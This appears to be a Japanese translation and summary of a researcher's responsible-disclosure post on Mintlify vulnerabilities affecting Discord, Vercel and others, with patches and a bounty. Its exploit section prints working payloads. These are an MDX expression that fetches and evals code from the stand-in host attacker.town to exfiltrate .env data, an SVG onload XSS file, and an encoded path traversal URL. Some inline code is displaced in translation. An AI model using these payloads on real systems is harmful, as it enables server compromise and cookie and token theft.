
2025/12/19 4:41
How to hack Discord, Vercel and more with one easy trick
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Mintlify – MDXファイルを使用し、Discord、Twitter、Vercel、Cursor などの顧客にサービスを提供する人気の B2B SaaS ドキュメントプラットフォーム。
セキュリティ脆弱性(CVE‑2025‑67843 – 67846):
- CVE‑2025‑67843 – MDX のサーバー側レンダリングにより、JSX 式を介して任意の JavaScript が実行可能になり、攻撃者は環境変数やファイルシステムへの完全なサーバーアクセスを得られます。
- CVE‑2025‑67842 –
ルートを通じたターゲット型 XSS;悪意のある SVG(例:/ _mintlify/static/[subdomain]/{…}
)が任意のリポジトリから配信され、複数の高プロファイル顧客に対してワンクリックでクッキー窃盗やトークン抽出が可能になります。<svg onload="..."> - CVE‑2025‑67845 – 静的資産修正後、CDN URL のパス・トラバーサル回避(
)により外部資産への再アクセスが可能となり、パッチの効果を打ち消しました。…/discord/images/...%2F..%2F..%2Fevascoolcompany/xss.svg - CVE‑2025‑67844 – GitHub IDOR:Mintlify の API はリポジトリ設定時に所有権を検証せず、認可された任意のリポジトリのコミットデータへアクセス可能です。
- CVE‑2025‑67846 – ダウングレード攻撃:古い Vercel デプロイメントを削除しないため、特定のデプロイ ID や git ref を介して脆弱な以前ビルドを狙うことができます。
影響範囲: RCE により大量 XSS、改ざん、キャッシュ汚染、機能フラグ破壊、パス検証による DoS、および請求不正(PDF エクスポート)が発生します。ターゲット型 XSS は影響を受けた企業全体でクッキー窃盗やトークン抽出を可能にします。
発見と対応: 著者、hackermon、および mdl の協力により開示され、報告後すぐにパッチが適用されました。Mintlify は発見者に 5,000 USD の報奨金を支払いました。
CVE 毎の対策: - SSR で非シンプル MDX 式を無効化(CVE‑2025‑67843)。
- 静的資産へのアクセスを同一組織に限定し、CDN パスチェックを徹底(CVE‑2025‑67842 & 67845)。
- リポジトリ設定前に GitHub の所有権を検証(CVE‑2025‑67844)。
- Vercel プレビュー デプロイメントに訪問者パスワードを追加し、古い脆弱デプロイメントを削除(CVE‑2025‑67846)。
さらに読む: hackermon と mdl による追加レポートがより詳細な技術情報と実装シナリオを提供しています。
本文
ブログ記事 – Mintlify脆弱性シリーズ(CVE‑2025‑67843 – 67846)
協力者:Hackermon & MDL
1️⃣ 背景
- Discord はドキュメントプラットフォームを Mintlify に切り替えました。MintlifyはMDXベースの文書をホストするB2B SaaSです。
- Mintlify の顧客リストには、Discord、Twitter、Vercel、Cursor など主要企業が含まれます。
2️⃣ 発見事項
| CVE | 説明 | 影響 |
|---|---|---|
| CVE‑2025‑67843 | サーバー側 RCE – MDX 式は静的生成時にサーバーで評価されます。攻撃者は任意コード(例:)を実行できます。 | サーバーレス環境への完全アクセス、トークン漏洩、キャッシュ汚染 → Mintlify のドキュメントサイト全体に対する大量 XSS と改ざん。 |
| CVE‑2025‑67842 | 1クリック XSS(ターゲット型) – ルートがリポジトリ資産(SVG、PNG)を公開します。 をホストするとクライアント側スクリプトが実行されます。 | 認証不要でリンク先にアクセスしたユーザーに即時 XSS が発生。 |
| CVE‑2025‑67845 | 静的ルートバイパス – 静的資産 URL のパストラバーサル()で他組織の資産にアクセス可能です。 | 複数組織間でも同様の 1クリック XSS リスク。 |
| CVE‑2025‑67844 | GitHub IDOR – Mintlify は設定時に GitHub リポジトリ所有権を検証しません。攻撃者は任意の認可済みリポジトリのコミット詳細を読み取れます。 | 未承諾でリポジトリメタデータへアクセス可能。 |
| CVE‑2025‑67846 | デプロイメントダウングレード攻撃 – Vercel デプロイは削除されません。攻撃者は パスで古い脆弱なデプロイに再びアクセスできます。 | プレビュー URL を通じて旧バージョンの脆弱性を再導入。 |
3️⃣ エクスプロイト概要
-
RCE
{!!fetch("https://attacker.town").then(r=>r.text()).then(c=>eval(c))}結果:Mintlify のサーバーレス関数が攻撃者コードを取得 →
やファイルシステムを外部に送信。.env -
ターゲット XSS
- SVG をホスト:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(window.origin);"/> - アクセス例:
https://discord.com/_mintlify/static/evascoolcompany/xss.svg
- SVG をホスト:
-
静的ルートバイパス
https://discord.com/_mintlify/static/discord/images/create-team-owned-app.png%2F..%2F..%2F..%2Fevascoolcompany%2Fxss.svg -
IDOR & ダウングレード – GitHub リポジトリ設定や Vercel デプロイ URL を操作してコミットを閲覧したり、旧バグを再導入。
4️⃣ 緩和策(実装済み)
| 問題 | 修正 |
|---|---|
| CVE‑2025‑67843 | SSR 時に非シンプル MDX 式を拒否し、クライアント側のみでパース。 |
| CVE‑2025‑67842 | 資産アクセスを同一組織のみに制限。 |
| CVE‑2025‑67845 | CDN パスを検証・正規化し、トラバーサルを禁止。 |
| CVE‑2025‑67844 | Mintlify のリンク済みインストールに対して GitHub リポジトリ所有権を確認。 |
| CVE‑2025‑67846 | プレビューデプロイにビジター用パスワードを追加し、古い Vercel デプロイを削除。 |
5️⃣ インパクト概要
- Discord、Twitter、Vercel、Cursor など Fortune 500 大手企業のドキュメントが潜在的に侵害される可能性。
- リスク:大量 XSS・改ざん、認証情報漏洩、リポジトリアクセスを介したサプライチェーン攻撃。
6️⃣ 今後のステップとリソース
- Hackermon と MDL の詳細レポートで更なる技術的洞察を確認。
- 対象顧客全リストは [こちら](#)から閲覧可能。
- Mintlify は迅速にすべての問題をパッチし、報告者には責任ある開示として 5,000 USD が支払われました。
Marshift による作成 – Hackermon と MDL の協力に感謝します。